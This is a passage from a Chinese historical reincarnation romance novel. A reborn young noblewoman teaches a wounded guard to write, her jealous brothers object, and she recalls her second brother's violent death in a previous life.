她说起每个手指的位置,就翘起那根手指点了点笔杆,三言两语便能叫人听明白。 谢昭凌听得认真,将她每个姿势都刻在心里。 乔姝月把笔还给他,扬着下巴,“来试试。” 少年天资聪颖,一下便学会,且动作十分标准。 乔姝月目露欣赏的光,心知他只是没有资格与条件去学习,并非蠢笨之人,若给他机会,假以时日,他定前途不可限量。 她要将最好的老师都送到他面前,让他此生的路更加平坦顺遂。 不知为何,心底竟有些遗憾与怅惘。他这般厉害,若没有她,也会活得很精彩。 她失神一瞬,再垂眸,忽然察觉他一个错处。 嗯?刚刚他是这么握笔的吗?怎么印象里不是。难不成是不熟悉姿势,所以没拿稳,手滑了? “嘿!被我逮到了!”小姑娘心底那点惆怅顿时烟消云散,“还得靠我纠正你!” 没她不行。 美滋滋的,抬手要去挪他那根没摆对位置的手指,即将碰到时,她忽然僵住。 想起初见时被他反手拍开的那巴掌。 想起拉他衣角时他隐忍勉强的神情。 想到妙荷那只差点折断的手腕。 “嗯……” 乔姝月硬着头皮,试探地,手指一点点靠近,每靠近一寸,便偷偷瞄他一眼,靠近一点,再瞄一眼。 等到手指尖尖真的碰到他的皮肤时,她屏起呼吸,一动不敢动,小心翼翼地盯着他瞧。见他面色无异,于是又胆大了些,两根手指轻轻将他捏住。 这下他终于有了反应! 只见谢昭凌也将目光落了过来,淡淡瞥了一眼两人手指相碰的地方,没有嫌弃与厌恶,也没有被逼迫的勉强,他面无表情地,又将目光挪走。 乔姝月抿着唇,努力藏起笑意,将他的手指摆到正确的位置,小声:“小拇指要贴着这里哦。” 少年偏过头,耳根泛起淡淡的粉,声音一如既往冷淡:“哦,知道了。” 第25章 【25】 一连两日,谢昭凌都会被传召到过去,被人盯着抄书。 从起床到入睡,他几乎没有被准许离开的时候。 小菩萨是这么说的—— “我养着病不能出门,可功课不能落下,所以从明天起,你每日来我这报道,我教你写字,同时也在帮自己温书。” 她眼睛弯弯的,像个月牙。 谢昭凌没有反抗的余地。 “这是我从前用过的字帖,你先照着它画,我读自己的书去了。” 话虽这么说,她却没安安静静地读书,而是靠着床头,嘟嘟囔囔的,将字帖的内容背了起来。 谢昭凌并非一个字都不认识,当他发现她所背内容恰好是自己笔下所写内容时,抿了抿唇,停笔抬眸,看了她半晌。 乔姝月时不时偷瞄,某次捉到他投过来的目光时,惊得脸颊通红,好在她仍在低烧,脸色本就红润,她横眉瞪他,“用心些!” 看、看她作甚! 谢昭凌沉默不语,又低下头。 “阿娘罚你抄弟子规,是因为她很喜欢这本书,我们小时候都抄过三五十遍,每回抄书都是这个。” “泛爱众,而亲仁。有余力,则学文。”注① “这句话讲得是要博爱众人,亲近仁德之人。”小姑娘像个小夫子,哑着嗓子,喃喃自语,“博爱众人……你以后会做到的。” 一日下来,谢昭凌将字帖上的字认了大半。 “当真聪慧。”刘妈妈同玉竹感慨,“你小时候学字,一天认不会十个字。” 玉竹不服,“那紫棉也没比过他。” “紫棉一日能学三十个字,比他是比不过,可比你……” 玉竹气得扭身,回头看到谢昭凌拄着拐杖,慢悠悠往外走,酸溜溜地哼了声。 刘妈妈见他出来,冲他温和笑笑。聪明孩子谁不喜欢,虽说早先同他有些过节,但这两日相处她也看出他的品性,骨子里是个好孩子,只不过自小缺少教导,才成就这般寡凉的性子。 “明日可晚些时候来。” 谢昭凌愣了下。 刘妈妈解释道:“看天色,夜晚免不了要下场雨,晨间阴冷,你的腿不好再受风。” 谢昭凌局促地低下头,拄着拐快速走开,颇有落荒而逃的意味。 刘妈妈笑着进了屋,见乔姝月捧着少年的练字纸,看得津津有味。 刘妈妈将椅子往边上搬挪,随口道:“那孩子没被人善待过。” 乔姝月微怔,偏头看过来。 “我瞧得分明,他不懂如何回应旁人的善意,有些时候,待他太好,他反而会排斥。” 这叫刘妈妈想起街头巷尾流浪的小猫,最初看到人时,会好奇会亲近,以为遇到好心人,可实际换来的只有带着厌恶的拳打脚踢。 受过的伤足够多后,便不会再亲人,面对朝他伸过来的手,会下意识以为是攻击,于是竖起浑身的毛,露出尖尖的牙齿,喉咙里发出警告的声音。 刘妈妈感慨了声,抱起一沓脏衣服出了门。 徒留乔姝月一个人,茫然又难过地抱住膝盖。 谢昭凌回到房间,李成正准备出门。 自从少年来到木兰院,李成终于不再是一个人,他也有了同吃同住的伙伴,别提多开心了。 可惜这几日谢昭凌早出晚归,他们都不得空说话。 “怎么今儿姑娘这么早就放你回来了?” 见他回来,李成门也不出了,把佩剑放回桌上,坐在少年对面。 谢昭凌看一眼桌上的佩剑,没说话。 李成顺着他的目光看去,“这个是夫人给的。” 谢昭凌收回了目光。 没等李成再开口,房门被人敲响。李成过去开门,是紫棉。 紫棉:“谢护卫,姑娘叫你过去一趟。” 李成:“……他才回来。” 凳子都没坐热。 “嗯,叫他回去。” 谢昭凌:“……” 一盏茶的功夫都没到,他再度出了门。 太阳快要落山,婢女们将晾晒在院里的被褥往回拿。 有个小丫鬟瞧见他,脸红了红,旁边一人用肩膀撞了撞她,夺走她怀里的被褥,冲她眨眼,笑得意味深长:“去啊,快去。” 小丫鬟红着脸,小步跑到谢昭凌的面前。 谢昭凌下意识后退一步,与她拉开距离,警惕地看着她。 “谢、谢护卫,欢迎你来木兰院,我叫你谢哥好不……” 小丫鬟没说完,倏地停住,目光惊惧望着不远处。 谢昭凌听她开口心里莫名地烦,懒得敷衍,不耐转头,也看到不远处的人。 乔姝月不知何时下了床,裹着条薄毯,虚弱地靠在门边。她脸色苍白,直勾勾看着这边,表情十分难看。 一阵风吹过,谢昭凌慢慢拧眉。 他没再犹豫,朝着她走去。 一向目光会追随在他身上的小姑娘,此刻难得没在看他,眼神仍落在那个小丫鬟身上,目光带着威压,把人看得头越压越低,很快小丫鬟哆嗦着跪了下去。 谢昭凌心无旁骛,只关注着面前人。 走近了才发现,小菩萨眼圈红红的,似乎才刚哭过。 记得他走时她还笑脸欢送,这么一会功夫……是谁欺负她了? 谢昭凌冷着脸挡在她跟前,替她遮住来风。 乔姝月终于将眼神落在他身上,那一眼暗藏复杂又浓烈的情绪,看得谢昭凌心脏发紧,一股陌生的感觉席卷而来,不过他在情绪自控上一向擅长,只片刻功夫,便将那股异样压了下去。 “谢昭凌。” 她唤道。 音量不大,却足够叫在场所有人都清楚听到。 “嗯?” “如今我是你的主子,你该一心都在我身上,眼中不可有旁人的影子。” 她年岁还小,按理说这话并不会叫人引起误会。可话说在方才那一幕之后,又叫人不得不多想。 搭话的小丫鬟额头紧贴着地,怂恿她上前的那名婢子此刻也瑟缩身子,脸色发白。 乔姝月惯来温和爱笑,这般严肃还是头一回。 “要好好做事,多余的心思不可有。” 她看向众人,又道:“你们也是,专心做事,两只眼睛不要乱看。” 众人纷纷垂下头,“是,姑娘。” 谢昭凌这副皮囊,随着他年岁再长,只会越来越惹眼,越来越招人。 乔姝月自认没有那么大度,能冷眼看着其他人在她眼皮子底下爱慕他。 这些话本来就是说给别人听的,她敲打完下人,捂着唇轻声咳嗽,扶着门,转身要往回走。 忽听少年低声应道:“好。” 乔姝月僵住,蓦地回头。 他仍是那副冷清模样,却不再回避她的目光,望过来的视线里多了两分担忧。 “月……姑娘,回吧,莫要、莫要受凉。” 这几个字他说得生涩缓慢,好像才刚学会如何关切别人。说完自己又颇不自在,在她亮晶晶的目光注视下,终究没忍住偏过头。 乔姝月注意到他冷着一张脸,耳根却染上层粉色,亦弯起唇角,冲他甜甜笑了起来,她抬手抓住少年的手腕,将人一把拉进屋中。 谢昭凌顿时浑身绷紧,小姑娘一双胖乎乎的小手软若无骨,就握在他满是伤痕的狰狞的腕间。 陌生的情绪又冲击着他的理智。 他下意识地想甩开钳制,但心底同样响起一道声音:“她会哭。” 她不是别人,他不可以让她哭。 于是艰难地按捺住想要逃跑的冲动,咬着牙,对抗本能。 他自己都不知,周身竖起的那道坚硬的防御,只为她悄悄裂开了一道缝隙。 “我听说,最初她们都不知是你救的我?” 回到屋中,她便松了手,仿佛那一幕是特意做给旁人看的。 重获自由,谢昭凌暗暗松了口气,简短地“嗯”了声,犹豫着,又道:“没什么好说的。” 他只是偶然路过,偶然碰到她遇险。 乔姝月想起从前。 那时的陛下也是如此,若真的为了她做过什么,若她不刨根问底,他是绝不会主动提的。 既然回到从前,有些做法该在他还小的时候便纠正过来。 她不喜欢两人间有误会,误会多了,难免生出隔阂来。 长嘴是干什么的? 长嘴就要多说,尤其是要紧事。可是不说哪知在对方心里那事要不要紧?所以还是要多说。 乔姝月仰着脸,一本正经:“为人当坦荡,是你做的便要说,不是你做的也绝不揽下。承认自己做过的好事,这并不丢人。你的命现在属于我,所以就该按照我的规矩说话办事,你做了什么,都要告诉我。” 谢昭凌沉默半晌,“……我尽量。” 有些沾着血的事,还是不要告诉她了。 “尽量?”乔姝月倒也没难为他这么快就对自己掏心掏肺的,退让一步,“那也行吧,但你做的好事可不许再瞒了。” “好。” 这次答得干脆。 没想到他这么听话,乔姝月稀奇地瞄他一眼。 怎么感觉他近来脾气都变好了? 谢昭凌亦步亦趋,慢慢跟在她身后往里走。 狂风忽起,一阵带着潮气的风灌了进来。 谢昭凌瞥一眼小姑娘单薄的衣裳,正要转身将门关上。 外头吵吵嚷嚷,来了一人—— “月儿!柳家那小子被禁足一个月,这点惩戒怎么够,看二哥我——”乔良怒气冲冲跑到门口,一眼看到和妹妹站在一起的少年,惊怒交加冲了进去,“你怎在我妹妹房里?!” 他来时带起一阵风,谢昭凌拧眉,挡在乔姝月身前。 屋中陷入诡异的寂静。 与此同时,俞升拎着水桶,跟在乔誉身后,也踏进木兰院。 俞升人缘好,一进门便有婢女同他打招呼,有人问他拿的什么,俞升笑道:“这可是我们公子专门给月姑娘抓的鱼,哄姑娘开心的。” 话音未落,乔誉已走到门口,看着屋内三人对峙的模样,脸色慢慢沉了下去。 俞升的声音不小,乔姝月早听到了,她揪着少年的衣摆,从少年身后探头,好奇地张望,“鱼?四哥,你送我鱼?” 乔誉眼睛直勾勾盯着她手牵着的地方,又抬眸,目光阴冷地看了一眼防护姿态的少年,抿紧唇,没吭声。 但他捏紧的拳头,昭示着他在努力克制怒火。 乔良和乔誉都没想过,会在妹妹的房里看到出除他们兄弟以外的男人。 乔良感觉自己需要冷静冷静,他一屁股坐在桌前,猛灌下一口冷茶。 俞升被两位公子的怒气压得不跟吭声,他硬着头皮,在门外站定,“月姑娘,这鱼还活蹦乱跳呢,您要看看——” 乔誉忽然开口:“你,和他,带着鱼出去。” 他眼睛死死盯着谢昭凌。 谢昭凌岿然不动,身后的人扯了扯他的衣服。他回头,看她安抚地冲他笑笑,“没事,你先回吧。” 她看了一眼他的腿,心疼道:“慢点走,别摔了。” 乔良瞪着两只牛眼,又灌了一口冷茶。 谢昭凌没反抗,没给乔誉眼神,抬步走了。 到门口,他忽然回头,只看着乔姝月。 “鱼是我捞的。” 不是他。 乔誉蓦地转头,察觉到少年身上发生了微妙的变化,微微眯眸,敏锐的目光似要将他整个人看穿。 乔姝月愣了下,想到自己刚刚规训他的那番话,慢慢笑了起来。 还真听话呐。 她对着他远去的身影,“嗯!谢谢你,阿凌——” 开心时习惯亲昵地唤他,忽然意识到不对,来不及改口,于是下意识便加了两字:“阿凌……哥哥。” 简简单单的两字称呼,如一阵惊雷,在每个人心头乍响。 她叫他哥哥。 乔良一口冷茶呛在喉中。 乔誉险些捏碎了手指关节。 谢昭凌一脚磕在门槛上,狼狈地扶住门框,耳根红了一片。 第26章 【26】 兄妹三人对面而坐,谁也没先吭声。 刘妈妈进门添了壶热茶,又识趣地退了出去。 乔良两眼冒火,盯着妹妹,再次猛灌下一口热茶,才刚烧开的水,烫得他满嘴水泡、吱哇乱叫着,冲出门去。 耳边是乔良渐渐远去的不稳重的叫声,乔誉深吸了口气,朝乔姝月看去。 他咬牙道:“你叫谢昭凌什么?” 乔姝月脸颊微红,目光稍稍躲闪。她并非故意,实在是一时疏忽。 关于称呼这个问题,她每日都小心警醒着,他不主动告知姓名那会儿,她害怕将他的名字脱口而出。而知道他的名字后,她又担心自己无意间唤他陛下或是别的亲昵称呼。 直到今天,她还是没忍住。 乔姝月清了清嗓子,故作平静:“哥哥啊,有何不妥?” 乔誉的耳朵再一次被这两个字刺到,他手紧攥着,压抑不住嗓音:“他凭什么。” “就是!他凭什么!!” 院里传来乔良暴躁的吼声。 “二公子快别说话了,这井水要多含一会。” “紫棉!快去将药拿来!” “唔——他又不是……嘶嘶……又不是我乔家人!嘶嘶……” “二公子不能咽啊哎哟我的天,要口含着!” 院里渐渐没了动静,房中的气氛凝重得风吹不散。 “只是一个称呼而已,他比我大啊……”乔姝月没什么底气,小声嘟囔,“再说你们管我如何唤他?那是我与他之间的事。” 乔誉脑子里那根名为理智的弦彻底崩断,谢昭凌在他心里好不容易才积攒的几分好感瞬间清零。 他安静下来,乔姝月嗅到了一股风雨欲来的味道。 虽说谢昭凌现在在她的院里,可以不听四哥的话。但四哥若是暗地给他使绊子,她也难免有顾虑不全的地方。 到底不能在兄长们面前偏心太过。 乔姝月嘴角挂起比规矩的乖巧微笑,讨好地扒拉两下四哥的手。 轻声撒娇:“四哥,我错了。” 前世她和四哥不熟,他低调内敛,深居简出,她便没有主动接近过。 今生种种她看得分明,四哥虽心思深沉,却同二哥一样,对她偏爱有加。 四哥肯冒着被父亲责罚的风险,帮她将谢昭凌带回,替她在母亲面前遮掩,这便表明四哥并非她以为的冷漠无情之人。 那么只要让他明白谢昭凌不会危害乔家,不会伤害她,或许就不会那么排斥了。 不过她也明白在兄长们正在气头上,万万不可再替谢昭凌说好说,火烧浇油。 于是她自以为很顺滑,实则很生硬地转移了话题: “四哥送来的鱼,我一定好好养着。” 那筐鱼本就是乔誉找来哄她开心的,他不擅长这些,便叫下人去捞,他也不知这活儿怎么就落到谢昭凌头上,都怪俞升办事不利。 真是便宜那个野男人了。 乔誉咬牙切齿地想。 他面上喜怒不显,冷淡地“嗯”了声,“喜欢就好。” 乔姝月松了口气,她以为自己糊弄了过去,全然没想到在四哥心里,臭小子已然升级为野男人。 “兄道友,弟道恭,兄弟睦,孝在中。”注① 没头没尾地,乔誉忽然开始说教。 他似有所指:“兄弟手足情深,父亲母亲便会欣慰欢喜。何为兄弟?骨肉相连,血脉相连,休戚与共。” 所以不许叫谢昭凌哥哥!! 乔姝月乖巧端坐,虽然不懂,但还是点头,“嗯嗯,四哥,我知道的,我都背熟了。” 乔誉见她似乎没明白,沉默了会,又道:“不亲仁,无限害,小人进,百事坏。”注② 乔姝月懵懂颔首,“四哥,我都背熟了,下一句是——” 乔誉忍无可忍地打断,直言道:“防人之心不可无,当擦亮眼睛,莫要被轻易蒙骗,让心思诡谲之人钻了空子。” 说的就是谢昭凌,拐骗她妹妹,不是好东西! 乔姝月歪着脑袋,满脸疑问,“四哥,我省得的,我这两颗眼珠子闪亮闪亮,看得可分明了。” 毕竟她从前世而来,早知结局,谁好谁坏她都知晓。 鸡同鸭讲,不知她是真傻还是装傻。乔誉气闷不已,默默不再言语。 二哥乔良终于捋平了舌头,顶着一头怒气,气势汹汹走进来。 他看到乔誉自闭的模样,脚下一顿,步子迟缓。视线旁移,对上妹妹水灵灵的纯真目光,心底的疑惑又打消,只暗自腹诽,这老四又搞什么,喜怒无常,真让人琢磨不透。 乔良一屁股坐下,没再碰茶。 “对了二哥,你方才提到柳家?” 同柳家的事相比,谢昭凌这个人便再不值一提。 乔良难得严肃神情,“嗯,母亲顾忌你的身子,没将后头的事说与你听,我也是才从大哥那打听到,柳步亭那个杀千刀的只是被禁足。” 忽略掉二哥不太文雅的用语,乔姝月毫不意外地点点头。 母亲状告宫中,此事乔姝月醒后便知道,她不为阿娘担忧,因为她知道,眼下这个节骨眼,最不想节外生枝的是柳家,而最想看柳家出点岔子的,是皇帝。 柳家势力强大,根深蒂固,并不容易扳倒。先贵妃重病前,独享盛宠,先贵妃重病后,柳家又将小女儿也送入宫,稳固柳家在后宫的势力。 二皇子如今十六,快到了能参政的年纪。 皇帝此时忽然开始提拔起太子来。 要知道太子病弱多年,生母许皇后早逝多年,他空有太子之名,实则并不如二皇子拥趸众多。 从乔姝月十岁这年起,朝局变幻莫测,而皇帝的心更是难测起来。 乔姝月低头沉思,一个晃神的功夫,忽听一声怒喝。 “这事不能这么算了!” 把乔姝月吓一哆嗦,就连沉默消化情绪的乔誉也看了过来。 乔良越说越气恼,拍案而起,意欲往外走,“不能这么算了,你一病不起,他倒逍遥自在,月儿你放心,二哥定要给你报仇。” 乔姝月愣了下,忽然想起什么。 她脸色大变,蓦地起身,两步抱上二哥的腰,使劲往回拖。 她脸色苍白,眼底尽是恐惧:“别,二哥别去,求你了……” 脑海里不断回放前世乔良的死状。 那时大哥和父亲先后入狱,家中二哥为长。 柳步亭在一个黄昏时分找到她,轻佻地朝她伸手,“跟了我,你家的事帮你摆平。” 二哥冲了过来,将柳步亭推一踉跄,他将她护在身后,背影宽厚可靠。 针对乔家的陷阱早已布好,只等他们一步一步踏进去。 柳步亭不惮在大庭广众下动手。 柳家的护卫去拖二哥,二哥却死死将她抱在怀里。 于是那些人便不再拽他。 二哥抱着她,被活活打死在她跟前。 背脊被打断的声音乔姝月至今都记得,腰部以下,全都血肉模糊。 溅起来的鲜血和碎肉零零碎碎,落在她脚边。 眼前是一片血红,鼻间都是腥甜。 二哥直到死,都没将她放开。 “……” “月儿?月儿,你还好吗?” 一双温暖的大掌轻轻托起乔姝月的脸颊,她茫然抬眸,对上二哥怜惜的目光。 等二哥的指腹温柔地擦拭她的脸颊,她才后知后觉,自己又坠入那个噩梦里,无法自拔,崩溃落泪。 乔誉也靠了过来,神情担忧。 “我……没事。”乔姝月深吸了口气,低下头,掩饰住眼底的彷徨,似真似假道,“二哥,莫要冲动,咱们还无法与柳家抗衡。” 斗不过,暂且不能妄动。要动柳家,还需借力打力,光凭他们一家人做不到。 无论如何,乔家的人绝不能都踏上前世的老路。 乔良沉默下去。 乔誉望着妹妹的头顶,目光幽深复杂。 “这些不是你一个小孩子该考虑的。”半晌,乔良仍道,“二哥是顶天立地男子汉,不能冷眼旁观妹妹受苦,这事你别管。” 乔良没再多说,甩开袖子愤愤离去。 乔姝月追不上他,转而回来求乔誉。 “四哥,你办法多,你帮帮二哥,别叫他闯祸。” 乔誉很多时候都有说不上来的异样感,他总觉得,自己的妹妹在不知不觉间,已经成长为一个能够庇护他人的人。 可她明明还这么小。 仿佛一个小小的躯壳里,装着一个成熟又坚强的灵魂。 “二哥再有两年便弱冠,而我只比你大三岁。”乔誉反问,“我哪劝得住他?” 乔姝月微红的眼睛慢慢瞪大,这不是年岁长幼的问题,关键难道不是二哥冲动莽撞、不计后果吗? 乔姝月真诚道:“二哥就算像大哥一样娶妻生子,他也不如四哥你稳重啊。” 被糖衣炮弹裹挟的乔誉:“……” 是有不少人说他少年老成,他从不当回事。怎么妹妹一说,他心里竟有些高兴。 乔誉闭了下眼睛,“再说吧。” “别再说啊!”乔姝月急得拽他。 乔誉没理会她撒娇,起身走了。 他嘴上敷衍,虽不信二哥能做出什么出格的事,但到底在心里留了个心眼。出了门,便想吩咐俞升,叫人暗中盯着点乔良那边的动静。 俞升还没走,和玉竹并肩蹲在鱼池边上。 乔誉:“……” 他看见鱼就想起来某个野男人,便再难维持稳重老成的形象。目光在院中搜寻,没看到人,脸色沉下去,“谢昭凌呢?” 俞升蓦地回头,一脸尴尬,“啊,被大管家带走了。” 此事说来话长。 俞升在玉竹的指挥下,有条不紊地将桶中的鱼一条一条放进去,等最后一条欢快地摆尾游开时,一回头,已不见谢昭凌的身影。 一问院里的婢女才知,人早就出了院子,往东边去了。 俞升心道不好,他对谢昭凌的事有所耳闻,知道褚氏下令禁足,出房门便罢了,怎么还敢离开木兰院呢?! “你们也不拦着点!” 俞升着急道。 婢女们红着脸低下头,他那般样貌,她们都不好意思上前搭话,尤其是被主子敲打过以后,谁还敢没事往前凑啊。 乔家家规森严,命令一旦下了便要严格遵从,否则免不了一顿责罚。 俞升怕谢昭凌被人逮到,赶忙追出去找人。结果还是来晚了一步。 “我也不知他回咱们院子做什么去了。”俞升对着乔誉叹道,“只撞见他被大管家从咱们院门口带走。” 这一趟不远,悄悄地一来一回运气好无人知晓。木兰院的人嘴都严,自家人不说,前院那边自然风平浪静。 可惜谢昭凌运气极差,正巧碰上来给乔誉送东西的人。 这人还是当日亲自押送谢昭凌回木兰院的大管家。 乔姝月想要去救人,却被乔誉严令拒绝。他只说了一句,便叫乔姝月安分下来。 “母亲让你养病,你为了他违逆,是想让母亲将这一笔账记在他身上吗?” 乔誉希望妹妹能爱惜自己的身体,好好养病,妹妹如他所愿,没再折腾。 可她是为了另一个人才愿意听话。 乔誉心里别提多难受了。 索性在心里再给谢昭凌添上一笔新仇。 “四哥,那你去看看好不好?把人带回来,别让阿娘为难他。” 乔誉走到主院门口,脑海中还回荡着妹妹的恳求,不由得冷笑了声。 他得让母亲好好为难一番不可。 一个时辰后,乔姝月翘首以盼的人终于回来了。 她站在门口,迫不及待地朝人招手,冲他大喊:“快过来让我瞧瞧!” 谢昭凌脚步一顿,默默加快了步子。 院中婢女们捂着嘴笑,没人敢再将目光长久地落在少年身上。 “不不,慢点走,不着急!”小姑娘又改口道,“小心着点腿!” 于是谢昭凌又慢了下来。 待人拄着拐慢慢走到近前,乔姝月紧张地围着他转了一圈,上上下下好好检查一番。 “怎么样?打你了吗?” 谢昭凌目光没离开她,乔誉跟上来,斜他一眼,冷声道:“母亲若想动手,也要顾虑吴大夫的脾气。” 吴大夫隔三差五便会来检验谢昭凌的伤势,似是跟他杠上了,一言不合就开骂,不知是否岁数到了的缘故,格外爱唠叨病人。谢昭凌若不听话,连带着周围的人也讨不了好。 褚氏也怕吴大夫那个火爆脾气和那张不饶人又没完没了的嘴,看着少年残破的身躯,哪还能下得去手? 最终好好训斥了一番,罚他三个月的月银,又将抄书量加了一倍。 乔姝月闻言松了口气,小手拍拍胸口,一脸庆幸:“还好还好,抄书翻倍不要紧,反正你本来都快抄完了。禁足期未过,抄书打发时间,就当巩固所学了。” 乔誉微微皱眉,他不知道少年同妹妹学认字的事,“原本罚抄多少遍?” 乔姝月替他答:“十遍啊。” 乔誉打量起少年来,眼神晦暗,不可置信:“竟这么快。” “那当然,阿凌哥哥聪明着呢!” “哥哥”二字又重重地砸下来,谢昭凌睫毛微颤,却忍着不自在,没再挪开目光。 不知为何,他忽然发觉出小菩萨的好看来。 他厌恶别人以貌取人,自己也鲜少会注意到一个人的长相是好是坏。 今日却有不同,就在她开口唤、唤他…… 谢昭凌耳根发热。 自她唤他哥哥那时起,小菩萨的脸在他心里忽然具象起来。 有温度,是鲜活的,让他心底油然而生出许多美好的词。 这种感觉……好像他真的有了个可爱的妹妹。 乔誉太阳穴突突的跳,脸色黑得像要吃人。 乔姝月连忙捂住嘴巴,哎呀,说顺嘴了。她嘿嘿笑着,“咳,叫错了,是谢护卫。” 她赶快转移话题:“谢护卫,罚抄不算大事,至于月银就更没关系啦。” 她仰着头,与少年对视。 “你吃住都在我院里,我还能亏着你吗?你打听打听去,我对底下的人都很大方的。” “小金库还有富裕?” 乔誉冷不丁来了一句。 乔姝月瞪了四哥一眼,“要你管。” 她余光见谢昭凌始终盯着她瞧,以为他误会自己穷了,又赶忙解释:“你放心,我还有的是——” 声音戛然而止。 乔姝月被面前人注视着,心中蓦地涌出数不清的酸涩来。 少年那双总是充满攻击与防备的眼眸中,悄无声息地添了几分她熟悉的神色。 那是——温柔。 虽然只有一点点,虽然只片刻便消散,却还是叫她捕捉到了。 四目相对,似有温情缓缓流淌。 乔誉看不惯他们俩眉来眼去的,拧着眉打断道:“方才在母亲面前,你撒了谎。” 谢昭凌收回目光,周身温和的气势褪去,变回他平时的模样。 “撒什么谎?你如何知道他撒谎?”乔姝月觉得四哥可真碍眼,不高兴地咕哝了声,“他说不说谎也与四哥无甚干系吧?” 管那么多。 乔誉简直要被这个小没良心的气死,他那张常年木然的冰块脸出现丝丝裂痕。 “他鬼鬼祟祟,潜进我的院子,我还问不得了?” “对哦,你回去做什么?”乔姝月好奇地眨巴着眼睛。 谢昭凌看着她的眼睛,放轻声音:“拿回我的东西。” 乔姝月拍了下手,“也对,是该拿,虽然东西不多,但留在那也是便宜了旁人。” 她送出去的东西也原封不动全搬了回来,那都是送给她的陛下的,可不能留在那。 “旁人”目光幽幽,“母亲问你去拿什么,你倒是如实交代,可我知道那并——”不是全部。 “哎呀四哥,他现在都不归你管了,”乔姝月想要休息,抬手将乔誉往外推,“对了四哥,你快去劝劝二哥,让他莫要胡来,柳家的事要徐缓图之,我现在好好的,让他想开些,千万别做傻事!” 乔誉被推着往外走,目光灼灼死盯谢昭凌不放,脑子里想着迟早给谢昭凌点颜色瞧瞧,没将妹妹的嘱托听进耳,随口敷衍。 提到柳家,谢昭凌眉头倏地皱起,眼底闪过思量,衣裳下摆忽然下坠。他垂眸,对上一双黑亮的大眼睛。 她压低声音,神神秘秘:“不相干的人走了,你偷偷告诉我,是什么东西非回去取不可?” 谢昭凌:“……” 她倒是聪慧机敏。 有些难以启齿,谢昭凌紧抿着唇,若无其事错开对视。 乔姝月是个一根筋的性子,见他隐瞒,便打定主意非得知道。 她故意板起脸,“我才教导你,要对自己的主子无所不言,你答应过了。” “……我说的是尽量。” 小姑娘不依不饶,难缠得很,“我也没问什么,只是问你去拿了什么,很为难吗?” “你总不会真的偷东西吧?”乔姝月抱着肩膀,一副我都知道的样子,“在医馆时你就骗我腿是偷东西被人打断的,你当我还会再信你的鬼话吗?休要骗我,我能听出来。” 谢昭凌别过头,抬手揉了下脖子。 下摆处传来愈发深重的坠力,衣领都要被她拽松了。 他按住上方,往回扯了扯。拗不过她,又无奈松手,由着她拽。 相处这几日,谢昭凌不再似最初时对她的触碰反应强烈,但也仅限她而已。 今日被管家押走,管家想要拉他,被他瞬间避开。管家知道他险些折断妙荷手那事,所以也没同他计较,甚至还在庆幸自己收手收得快。 谢昭凌觉得自己对乔姝月愈发地难以抵抗,是因为那五十两银子吧,他欠着她,总得低头才行。 对峙半晌,他败下阵。 从怀里掏出一个东西来。 乔姝月伸直脖子往他手里瞅,看清后眼前一亮,“荷包!我送你的那个!” 精致好看的荷包静静躺在谢昭凌的掌心里,指腹慢慢擦过顺滑的布面,他低低“嗯”了声。 乔姝月看他别别扭扭这样子,自己也后知后觉,感到两分不自在来,“哦……你,你还留着呐?” 她悄悄松了拽着他衣角的手。 谢昭凌的视线从她手上一触而过,握着荷包的指节稍用了点力,没吭声。 “所以四哥说你隐瞒的,就是这个呀?” 谢昭凌点了下头。 不知为何,当乔夫人问起时,心底的声音告诉他,此事不可为外人道。 其实哪怕被发现,他亦有诸多理由可以辩解,只是他懒得去找借口,也不愿将她所做之事安于旁人身上。 他本能地排斥自己同旁人扯上关系。 乔姝月仿佛泡进了一汪热汤池里,衣裳贴着肌肤的地方热腾腾的,烘得她从脖颈到脸颊都是热意。 他没丢掉,他仔细地收着,甚至愿意冒险回去拿。 乔姝月红着耳根,敛起尽是羞意的一双眼瞳,心道这感觉太奇怪了,怎么好像偷偷瞒着父母兄长,在递送定情信物似的? 关键是,自己的一腔情意没有付诸流水,而是得到了回应。 不不不,她还小呢,不能想那些乱七八糟的。他肯留下一定有自己的理由,或许是用着顺手,又或许是因为是她的命令,怕她责骂,所以才不得不留着。 可是谢昭凌此人,会是担心责骂就低下头颅的人吗? 他才不是。 他若自己不愿,哪怕打断脊骨,他也不会屈服。 乔姝月越想,流的汗越多。 额头的低热都退了一些。 心好慌,脸好烫。 真讨厌,好想抱抱他。 乔姝月揉了下小脸,扭捏着,红着脸又牵起他的衣摆,拽了拽,声若蚊蝇:“那、你就好好收着吧,绝不许弄丢。” 谢昭凌垂眸看回衣摆,竟觉得这样才顺眼,“……是。” 待谢昭凌离开房间,她立马让人把李护卫叫了过来。 乔姝月隔着门板,悄声道:“你今晚不必守夜,就盯着谢昭凌,瞧瞧他行为有何异样。” 费了心思才把荷包拿回来,他会如何处理呢? 李成跪在门外,抱拳领命,一头雾水离开,兢兢业业地完成任务去了。 一夜过去,李成早早地敲响房门。 玉竹在门口听了回话,回到内室同主子禀报—— “李护卫说他回去后又把书抄了三遍,最后一遍已经能默写。一直到子时才熄灯就寝,只是……李护卫说有一点很奇怪。” 乔姝月裹着被子坐起身,原本困得左摇右晃,闻言来了精神,“说来听听!” 玉竹茫然道:“李成说他睡前,将一个东西挂到了床尾。李成那时困得迷糊,没看清是什么,今早李成起床时,谢护卫已经在抄书了,他就没敢过去看。” “姑娘,李成问他还需要再靠近点观察吗?” “……” “姑娘?” 玉竹隔着床幔,看不清榻上情况,半晌没听到动静。 “咚——!!” 忽然的一声,把玉竹吓得一把撩开幔帐。 只见她家主子仰躺在榻上,头发散在枕头上。 两只眼睛弯成月牙,笑意从缝隙中满溢出来。 “嘿嘿!” 意味不明的两声窃喜。 然后红着脸,在床上滚了一圈。 第27章 【27】 又过了四日,谢昭凌将全部的罚抄完成。 “你好像还不会写我的名字。” 谢昭凌笔尖一顿,抬眸看向坐在自己对面的小姑娘。 六月盛暑,她却因为连着大病两场,体质虚弱,小脸苍白。她此刻正捧着个手炉,身披薄毯,眼巴巴地望着他。 从她的目光中,他读出了不容否定的期盼。 谢昭凌沉默了会,将写到一半的纸撤掉,换了张崭新的。 他提着笔,目光朝她看去。 乔姝月顿时眉开眼笑,她把椅子挪到他身边,与他在同一侧坐下。 肩膀挨上小姑娘的脑袋,谢昭凌瞬间浑身紧绷,背脊挺得笔直,正襟危坐。 没察觉他的异样,乔姝月坐好后,在新纸上慢慢写下一个“乔”字。 “你看,这是我的姓,”乔姝月示范着字的书写,“姝月,名字。” “当然你可以叫我阿月,或者和我家人一样唤我月儿。” 谢昭凌沉默半晌,“月姑娘。” 乔姝月鼓起腮,哼了声,“阿凌哥哥,你胆子挺小的。” 